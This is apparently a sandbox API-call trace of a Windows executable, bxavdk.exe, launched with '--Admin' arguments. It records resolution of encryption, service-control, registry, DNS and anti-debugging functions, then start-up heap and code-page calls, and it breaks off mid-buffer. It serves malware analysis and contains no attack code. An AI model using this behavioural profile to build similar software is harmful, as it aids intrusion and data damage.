GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.930] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0049.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0049.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0049.930] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0049.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0049.930] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0049.930] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0049.930] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0049.930] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0049.930] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0049.930] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0049.930] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0049.930] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0049.930] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0049.931] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0049.931] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0049.932] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0049.933] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0049.933] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0049.933] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0049.933] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0049.933] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0049.933] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0049.935] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0049.935] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0049.935] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0049.935] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0049.935] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0049.935] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0049.936] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0049.936] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0049.936] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0049.936] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0049.936] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0049.936] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0049.936] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0049.936] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0049.936] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0049.936] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0049.936] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0049.936] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0049.937] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0049.937] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74b50000 [0049.942] GetProcAddress (hModule=0x74b50000, lpProcName="GetAdaptersInfo") returned 0x74b59263 [0049.942] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0049.944] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0049.944] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0049.944] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0049.944] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0049.948] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0049.948] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0049.948] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0049.948] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0049.948] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0049.953] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0049.954] atexit (param_1=0x230920) returned 0 [0049.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fc48 | out: lpSystemTimeAsFileTime=0x18fc48*(dwLowDateTime=0xab20e1b0, dwHighDateTime=0x1d54670)) [0049.954] GetCurrentThreadId () returned 0xadc [0049.954] GetCurrentProcessId () returned 0xad8 [0049.954] QueryPerformanceCounter (in: lpPerformanceCount=0x18fc40 | out: lpPerformanceCount=0x18fc40*=17023145050) returned 1 [0049.954] GetStartupInfoW (in: lpStartupInfo=0x18fbd8 | out: lpStartupInfo=0x18fbd8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0049.954] GetProcessHeap () returned 0x5d0000 [0049.954] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0049.954] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0049.954] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0049.954] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0049.955] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0049.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0049.957] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0049.957] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0049.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0049.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0049.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0049.957] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0049.957] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3bc) returned 0x678d68 [0049.957] GetCurrentThreadId () returned 0xadc [0049.957] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x679148 [0049.957] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x800) returned 0x679930 [0049.958] GetStartupInfoW (in: lpStartupInfo=0x18fba8 | out: lpStartupInfo=0x18fba8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x5c5d33c1, hStdError=0x5c)) [0049.958] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.958] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0049.958] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0049.958] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" --Admin IsNotAutoStart IsNotTask" [0049.958] GetEnvironmentStringsW () returned 0x67a138* [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xaca) returned 0x67ac10 [0049.958] FreeEnvironmentStringsW (penv=0x67a138) returned 1 [0049.958] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxavdk.exe")) returned 0x30 [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb8) returned 0x67b6e8 [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x98) returned 0x67b7a8 [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3e) returned 0x66e970 [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6c) returned 0x67b848 [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6e) returned 0x67b8c0 [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x78) returned 0x66c788 [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x62) returned 0x67b938 [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2e) returned 0x674a40 [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x48) returned 0x670630 [0049.958] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x28) returned 0x674468 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1a) returned 0x678a60 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4a) returned 0x67b9a8 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x72) returned 0x66c808 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x30) returned 0x674a78 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2e) returned 0x674ab0 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1c) returned 0x678a88 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd2) returned 0x67ba00 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x7c) returned 0x67bae0 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x36) returned 0x67bb68 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3a) returned 0x66e9b8 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x90) returned 0x67bba8 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x24) returned 0x674498 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x30) returned 0x674ae8 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x36) returned 0x67bc40 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x48) returned 0x670680 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x52) returned 0x67bc80 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3c) returned 0x66ea00 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x82) returned 0x67bce0 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2e) returned 0x674b20 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1e) returned 0x678ab0 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2c) returned 0x674b58 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x54) returned 0x67bd70 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x52) returned 0x67bdd0 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2a) returned 0x674b90 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3c) returned 0x66ea48 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x54) returned 0x67be30 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x24) returned 0x6744c8 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x30) returned 0x674bc8 [0049.959] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8c) returned 0x67be90 [0049.959] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x67ac10 | out: hHeap=0x5d0000) returned 1 [0049.960] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x80) returned 0x67bf28 [0049.960] GetLastError () returned 0x0 [0049.960] SetLastError (dwErrCode=0x0) [0049.960] GetLastError () returned 0x0 [0049.960] SetLastError (dwErrCode=0x0) [0049.960] GetLastError () returned 0x0 [0049.960] SetLastError (dwErrCode=0x0) [0049.960] GetACP () returned 0x4e4 [0049.960] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x220) returned 0x67a138 [0049.960] GetLastError () returned 0x0 [0049.960] SetLastError (dwErrCode=0x0) [0049.960] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.960] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fb9c | out: lpCPInfo=0x18fb9c) returned 1 [0049.960] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f664 | out: lpCPInfo=0x18f664) returned 1 [0049.960] GetLastError () returned 0x0 [0049.960] SetLastError (dwErrCode=0x0) [0049.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x18f3e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.960] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f678 | out: lpCharType=0x18f678) returned 1 [0049.960] GetLastError () returned 0x0 [0049.960] SetLastError (dwErrCode=0x0) [0049.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.960] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x18f3b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.961] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.961] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f1a8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0049.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18f978, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x